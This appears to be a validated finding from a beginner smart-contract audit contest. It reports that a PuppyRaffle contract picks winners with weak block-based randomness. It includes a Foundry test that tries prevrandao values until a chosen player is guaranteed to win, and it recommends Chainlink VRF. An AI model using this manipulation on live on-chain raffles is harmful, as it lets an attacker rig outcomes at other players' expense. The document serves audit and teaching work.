Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

selectWinner function has weak source of randomness

Summary

Function selectWinner uses weak block based Pseudo-Random Number Generators to select a winner and token rarity. This allows a malicious user to wait for the right conditions to become a winner.

Vulnerability Details

Weak block based PRNG

Impact

Users can use this to easily win.

POC using foundry forge test

function testGauranteeWin() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
uint256 playersLength = 4;
uint256 playerOneIndex = puppyRaffle.getActivePlayerIndex(playerOne);
for (uint256 i = 0; i < 100; i++) {
vm.prevrandao(bytes32(i));
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(playerOne, block.timestamp, block.difficulty))) % playersLength;
if (playerOneIndex == winnerIndex) {
vm.prank(playerOne);
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), playerOne);
break;
}
}
}

Tools Used

  • Foundry

  • Slither

Recommendations

  • Do not use block values such as block.timestamp and block.difficulty as sources of randomness.

  • Use Chainlin VRF to generate random numbers.

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.